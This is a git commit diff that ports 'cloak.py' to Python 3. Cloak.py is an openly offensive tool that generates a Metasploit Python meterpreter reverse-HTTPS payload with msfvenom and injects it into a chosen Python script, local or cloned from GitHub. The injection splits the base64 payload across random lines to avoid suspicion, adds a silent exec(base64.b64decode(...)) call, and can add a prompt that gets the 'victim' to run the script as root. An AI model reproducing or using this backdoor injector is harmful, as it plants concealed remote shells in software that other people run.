Added python3 support
This commit is contained in:
68
cloak.py
68
cloak.py
@@ -5,6 +5,9 @@ import socket
|
|||||||
import sys
|
import sys
|
||||||
from re import search
|
from re import search
|
||||||
|
|
||||||
|
if sys.version_info < (3, 0):
|
||||||
|
input = raw_input
|
||||||
|
|
||||||
# Colors and shit like that
|
# Colors and shit like that
|
||||||
white = '\033[1;97m'
|
white = '\033[1;97m'
|
||||||
green = '\033[1;32m'
|
green = '\033[1;32m'
|
||||||
@@ -17,13 +20,13 @@ good = '\033[1;32m[+]\033[1;m'
|
|||||||
run = '\033[1;97m[>]\033[1;m'
|
run = '\033[1;97m[>]\033[1;m'
|
||||||
|
|
||||||
# Banner
|
# Banner
|
||||||
print '''%s
|
print ('''%s
|
||||||
_________ %s__%s __
|
_________ %s__%s __
|
||||||
\%s_%s ___ \| | _________ | | __
|
\%s_%s ___ \| | _________ | | __
|
||||||
/ \ \/| | / %s_%s \__ \ | |/ /
|
/ \ \/| | / %s_%s \__ \ | |/ /
|
||||||
\ \___| |_( %s(_)%s ) %s__%s \| %s<%s
|
\ \___| |_( %s(_)%s ) %s__%s \| %s<%s
|
||||||
\______ /____/\____(____ /__|_ \\
|
\______ /____/\____(____ /__|_ \\
|
||||||
%s\/%s \/ \/%s\n''' % (white, red, white, red, white, red, white, red, white, red, white, red, white, red, white, end)
|
%s\/%s \/ \/%s\n''' % (white, red, white, red, white, red, white, red, white, red, white, red, white, red, white, end))
|
||||||
|
|
||||||
# Connecting to google DNS and retrieving IP address of host
|
# Connecting to google DNS and retrieving IP address of host
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
@@ -35,10 +38,10 @@ s.close()
|
|||||||
def check_external_dependency(command, help=None):
|
def check_external_dependency(command, help=None):
|
||||||
check_command = os.system('command -v %s > /dev/null' % command)
|
check_command = os.system('command -v %s > /dev/null' % command)
|
||||||
if check_command != 0:
|
if check_command != 0:
|
||||||
print '%s%s Couldn\'t find %s!' % (bad, red, command)
|
print ('%s%s Couldn\'t find %s!' % (bad, red, command))
|
||||||
if help:
|
if help:
|
||||||
print '%s %s' % (info, help)
|
print ('%s %s' % (info, help))
|
||||||
sys.exit(1)
|
quit()
|
||||||
|
|
||||||
|
|
||||||
check_external_dependency(
|
check_external_dependency(
|
||||||
@@ -47,19 +50,19 @@ check_external_dependency(
|
|||||||
)
|
)
|
||||||
|
|
||||||
# Prompting the user for LHOST
|
# Prompting the user for LHOST
|
||||||
choice = raw_input('%s %s%s%s : Use this as LHOST? [Y/n] ' % (que, green, LHOST, end)).lower()
|
choice = input('%s %s%s%s : Use this as LHOST? [Y/n] ' % (que, green, LHOST, end)).lower()
|
||||||
if choice == 'n':
|
if choice == 'n':
|
||||||
LHOST = raw_input('%s Enter LHOST: ' % que)
|
LHOST = input('%s Enter LHOST: ' % que)
|
||||||
|
|
||||||
# Prompting the user for LPORT
|
# Prompting the user for LPORT
|
||||||
LPORT = '443'
|
LPORT = '443'
|
||||||
choice = raw_input('%s %s%s%s : Use this as LPORT? [Y/n] ' % (que, green, LPORT, end)).lower()
|
choice = input('%s %s%s%s : Use this as LPORT? [Y/n] ' % (que, green, LPORT, end)).lower()
|
||||||
if choice == 'n':
|
if choice == 'n':
|
||||||
LPORT = raw_input('%s Enter LPORT: ' % que)
|
LPORT = input('%s Enter LPORT: ' % que)
|
||||||
|
|
||||||
|
|
||||||
def import_choice():
|
def import_choice():
|
||||||
script = raw_input('%s Enter Github/File path: ' % que)
|
script = input('%s Enter Github/File path: ' % que)
|
||||||
if 'https://github.com' in script:
|
if 'https://github.com' in script:
|
||||||
github(script)
|
github(script)
|
||||||
else:
|
else:
|
||||||
@@ -83,8 +86,8 @@ def github(script):
|
|||||||
if '.py' in line: # if a file contains .py
|
if '.py' in line: # if a file contains .py
|
||||||
python_files.append(line.strip('\n')) # adding the filename to python_files list
|
python_files.append(line.strip('\n')) # adding the filename to python_files list
|
||||||
if len(python_files) == 0: # if there are 0 python files
|
if len(python_files) == 0: # if there are 0 python files
|
||||||
print '%s No python file found.' % bad
|
print ('%s No python file found.' % bad)
|
||||||
yes_no = raw_input('%s Would you like to manually select a file? [Y/n] ' % info).lower()
|
yes_no = input('%s Would you like to manually select a file? [Y/n] ' % info).lower()
|
||||||
if yes_no == 'n':
|
if yes_no == 'n':
|
||||||
quit()
|
quit()
|
||||||
else:
|
else:
|
||||||
@@ -95,23 +98,23 @@ def github(script):
|
|||||||
all_files.append(line.strip('\n')) # adding the filename to python_files list
|
all_files.append(line.strip('\n')) # adding the filename to python_files list
|
||||||
number = 1
|
number = 1
|
||||||
for file in all_files:
|
for file in all_files:
|
||||||
print '%s. %s' % (number, file) # it will print all files like 1. main.py 2. run.sh 3. test.txt
|
print ('%s. %s' % (number, file)) # it will print all files like 1. main.py 2. run.sh 3. test.txt
|
||||||
number = number + 1
|
number = number + 1
|
||||||
number = raw_input('%s Select a file to infect: ' % que) # asking the user to select a file to inject
|
number = input('%s Select a file to infect: ' % que) # asking the user to select a file to inject
|
||||||
script = all_files[int(number) - 1] # just simple maths to select the chosen file from all_files list
|
script = all_files[int(number) - 1] # just simple maths to select the chosen file from all_files list
|
||||||
|
|
||||||
elif len(python_files) > 1: # if there are more than 1 python files
|
elif len(python_files) > 1: # if there are more than 1 python files
|
||||||
print '%s More than one python scripts found.'
|
print ('%s More than one python scripts found.')
|
||||||
number = 1
|
number = 1
|
||||||
for file in python_files:
|
for file in python_files:
|
||||||
print '%s. %s' % (number, file) # it will print all files like 1. main.py 2. run.py 3. test.py
|
print ('%s. %s' % (number, file)) # it will print all files like 1. main.py 2. run.py 3. test.py
|
||||||
number = number + 1
|
number = number + 1
|
||||||
number = raw_input('%s Select a file to infect: ' % que) # asking the user to select a file to inject
|
number = input('%s Select a file to infect: ' % que) # asking the user to select a file to inject
|
||||||
script = python_files[int(number) - 1] # just simple maths to select the chosen file from python_files list
|
script = python_files[int(number) - 1] # just simple maths to select the chosen file from python_files list
|
||||||
|
|
||||||
elif len(python_files) == 1: # if there's 1 python file
|
elif len(python_files) == 1: # if there's 1 python file
|
||||||
script = python_files[0] # fetching the only element from the python_files list
|
script = python_files[0] # fetching the only element from the python_files list
|
||||||
print '%s Payload will be injected in %s%s%s' % (info, green, script, end)
|
print ('%s Payload will be injected in %s%s%s' % (info, green, script, end))
|
||||||
os.system('rm -r %s/%s/temp.txt' % (cwd, directory)) # removes the temp.txt
|
os.system('rm -r %s/%s/temp.txt' % (cwd, directory)) # removes the temp.txt
|
||||||
cwd2 = os.chdir('%s/%s' % (cwd, directory)) # changes the working directory to the repo directory
|
cwd2 = os.chdir('%s/%s' % (cwd, directory)) # changes the working directory to the repo directory
|
||||||
github = True
|
github = True
|
||||||
@@ -120,7 +123,7 @@ def github(script):
|
|||||||
|
|
||||||
def injector(script):
|
def injector(script):
|
||||||
method = 'https'
|
method = 'https'
|
||||||
print '%s Generating Payload' % run
|
print ('%s Generating Payload' % run)
|
||||||
os.system("msfvenom -p python/meterpreter/reverse_%s -f raw --platform python -e generic/none -a python %s LPORT=%s > payload.txt" % (method, LHOST, LPORT))
|
os.system("msfvenom -p python/meterpreter/reverse_%s -f raw --platform python -e generic/none -a python %s LPORT=%s > payload.txt" % (method, LHOST, LPORT))
|
||||||
payload = [] # a list containing
|
payload = [] # a list containing
|
||||||
with open('payload.txt', 'r+') as f: # opens payload.txt
|
with open('payload.txt', 'r+') as f: # opens payload.txt
|
||||||
@@ -130,7 +133,7 @@ def injector(script):
|
|||||||
payload = ''.join(payload) # converts payload list into a string
|
payload = ''.join(payload) # converts payload list into a string
|
||||||
payload = payload.split("'") # converts the payload into a list by splitting it from the character '
|
payload = payload.split("'") # converts the payload into a list by splitting it from the character '
|
||||||
base64_string = payload[3] # retrieves the third *coughs* the fourth element from the payload list
|
base64_string = payload[3] # retrieves the third *coughs* the fourth element from the payload list
|
||||||
print '%s Injecting into %s%s%s' % (run, green, script, end)
|
print ('%s Injecting into %s%s%s' % (run, green, script, end))
|
||||||
injectable_lines = [] # Lines where payload pieces can be inserted safely
|
injectable_lines = [] # Lines where payload pieces can be inserted safely
|
||||||
imports = [] # lines that are being used to import libraries. Perfect for inserting 'import base64, sys'
|
imports = [] # lines that are being used to import libraries. Perfect for inserting 'import base64, sys'
|
||||||
script_list = [] # list that contains all the lines of target script
|
script_list = [] # list that contains all the lines of target script
|
||||||
@@ -140,7 +143,7 @@ def injector(script):
|
|||||||
script_list.append(line.strip('\n')) # adds current line to the script_list
|
script_list.append(line.strip('\n')) # adds current line to the script_list
|
||||||
match = search(r'^[a-zA-Z0-9]', line) # checks if the first character is an alphabet or digit
|
match = search(r'^[a-zA-Z0-9]', line) # checks if the first character is an alphabet or digit
|
||||||
match2 = search(r'^[\t]', line)
|
match2 = search(r'^[\t]', line)
|
||||||
if match and not line.startswith('except') and not line.startswith('else') and not match2:
|
if match and not line.startswith('except') and not line.startswith('else') and not line.startswith('#') and not match2:
|
||||||
injectable_lines.append(number - 1) # add the line to injectable_lines list
|
injectable_lines.append(number - 1) # add the line to injectable_lines list
|
||||||
if line.startswith('from') or line.startswith('import'): # if the line starts with from or import
|
if line.startswith('from') or line.startswith('import'): # if the line starts with from or import
|
||||||
imports.append(number) # add that line to imports list
|
imports.append(number) # add that line to imports list
|
||||||
@@ -149,9 +152,9 @@ def injector(script):
|
|||||||
number = number + 1 # increase the value of number by 1
|
number = number + 1 # increase the value of number by 1
|
||||||
f.close() # close the file
|
f.close() # close the file
|
||||||
if 'import base64, sys' in script_list: # searches for 'import base64. sys' in script_list
|
if 'import base64, sys' in script_list: # searches for 'import base64. sys' in script_list
|
||||||
print '%s Seems like this file has been already injected by Cloak.' % bad
|
print ('%s Seems like this file has been already injected by Cloak.' % bad)
|
||||||
if github:
|
if github:
|
||||||
choice = raw_input('%s Would you like to download a fresh copy? [Y/n]' % que).lower()
|
choice = input('%s Would you like to download a fresh copy? [Y/n]' % que).lower()
|
||||||
if choice == 'n':
|
if choice == 'n':
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
@@ -161,7 +164,7 @@ def injector(script):
|
|||||||
cwd2 = os.chdir('%s/%s' % (cwd, directory)) # changes the working directory to the repo directory
|
cwd2 = os.chdir('%s/%s' % (cwd, directory)) # changes the working directory to the repo directory
|
||||||
injector() # Calls the injector() function
|
injector() # Calls the injector() function
|
||||||
else:
|
else:
|
||||||
print '%s Please use a fresh file for injection.' % info
|
print ('%s Please use a fresh file for injection.' % info)
|
||||||
quit()
|
quit()
|
||||||
while True: # its an infinite loop unless its broken manually
|
while True: # its an infinite loop unless its broken manually
|
||||||
# We can't insert all the pieces of payload in one place as it may raise suspicion so we will
|
# We can't insert all the pieces of payload in one place as it may raise suspicion so we will
|
||||||
@@ -170,21 +173,21 @@ def injector(script):
|
|||||||
position_c, position_d = random.choice(injectable_lines), random.choice(injectable_lines)
|
position_c, position_d = random.choice(injectable_lines), random.choice(injectable_lines)
|
||||||
#lets make sure the positions of the pieces of payload are in a particular order otherwise it will raise error
|
#lets make sure the positions of the pieces of payload are in a particular order otherwise it will raise error
|
||||||
if position_a < position_b < position_c < position_d:
|
if position_a < position_b < position_c < position_d:
|
||||||
script_list.insert(position_a + 1, 'var1 = \'\'\'%s\'\'\'' % base64_string[:len(base64_string)/2]) #[:len(string)/2] will give the first half of a string
|
script_list.insert(int(position_a + 1), 'var1 = \'\'\'%s\'\'\'' % base64_string[:int(len(base64_string)/2)]) #[:len(string)/2] will give the first half of a string
|
||||||
script_list.insert(position_b + 2, 'var2 = \'\'\'%s\'\'\'' % base64_string[len(base64_string)/2:]) #and insert.list() is used to insert a element in list
|
script_list.insert(int(position_b + 2), 'var2 = \'\'\'%s\'\'\'' % base64_string[int(len(base64_string)/2):]) #and insert.list() is used to insert a element in list
|
||||||
script_list.insert(position_c + 3, 'vars = var1 + var2')
|
script_list.insert(int(position_c + 3), 'vars = var1 + var2')
|
||||||
script_list.insert(position_d + 4, 'try:\n\texec(base64.b64decode({2:str,3:lambda b:bytes(b,\'UTF-8\')}[sys.version_info[0]](vars)))\nexcept:\n\tpass')
|
script_list.insert(int(position_d + 4), 'try:\n\texec(base64.b64decode({2:str,3:lambda b:bytes(b,\'UTF-8\')}[sys.version_info[0]](vars)))\nexcept:\n\tpass')
|
||||||
root = raw_input('%s Ask victim to run injected script as root? [y/N] ' % que).lower()
|
root = input('%s Ask victim to run injected script as root? [y/N] ' % que).lower()
|
||||||
if root == 'y':
|
if root == 'y':
|
||||||
root = True
|
root = True
|
||||||
if len(imports) < 1: # if there are no imports in the script
|
if len(imports) < 1: # if there are no imports in the script
|
||||||
if root:
|
if root:
|
||||||
script_list.insert(injectable_lines[0], 'import base64, sys, commands\nif (sys.platform.startswith("linux")) :\n\tif (commands.getoutput("whoami")) != "root" :\n\t\tprint ("%s needs to be run as root.")\n\t\tsys.exit()\n\telse:\n\t\tpass' % script)
|
script_list.insert(injectable_lines[0], 'import base64, sys, commands\nif (sys.platform.startswith("linux")) :\n\tif (commands.getoutput("whoami")) != "root" :\n\t\tprint ("%s needs to be run as root.")\n\t\tquit()\n' % script)
|
||||||
else:
|
else:
|
||||||
script_list.insert(random.choice(imports), 'import base64, sys')
|
script_list.insert(random.choice(imports), 'import base64, sys')
|
||||||
else:
|
else:
|
||||||
if root:
|
if root:
|
||||||
script_list.insert(injectable_lines[0], 'import base64, sys, commands\nif (sys.platform.startswith("linux")) :\n\tif (commands.getoutput("whoami")) != "root" :\n\t\tprint ("%s needs to be run as root.")\n\t\tsys.exit()\n\telse:\n\t\tpass' % script)
|
script_list.insert(injectable_lines[0], 'import base64, sys, commands\nif (sys.platform.startswith("linux")) :\n\tif (commands.getoutput("whoami")) != "root" :\n\t\tprint ("%s needs to be run as root.")\n\t\tquit()\n' % script)
|
||||||
else:
|
else:
|
||||||
script_list.insert(random.choice(imports), 'import base64, sys')
|
script_list.insert(random.choice(imports), 'import base64, sys')
|
||||||
break # breaks the loop as the payload has been injected
|
break # breaks the loop as the payload has been injected
|
||||||
@@ -195,7 +198,6 @@ def injector(script):
|
|||||||
f.write(line + '\n') # writes a line to the target script
|
f.write(line + '\n') # writes a line to the target script
|
||||||
f.close() # closes the file
|
f.close() # closes the file
|
||||||
os.system('rm payload.txt') # removes payload.txt
|
os.system('rm payload.txt') # removes payload.txt
|
||||||
print '%s %s%s%s was successfully injected' % (good, green, script, end)
|
print ('%s %s%s%s was successfully injected' % (good, green, script, end))
|
||||||
|
|
||||||
|
|
||||||
import_choice()
|
import_choice()
|
||||||
|
|||||||
Reference in New Issue
Block a user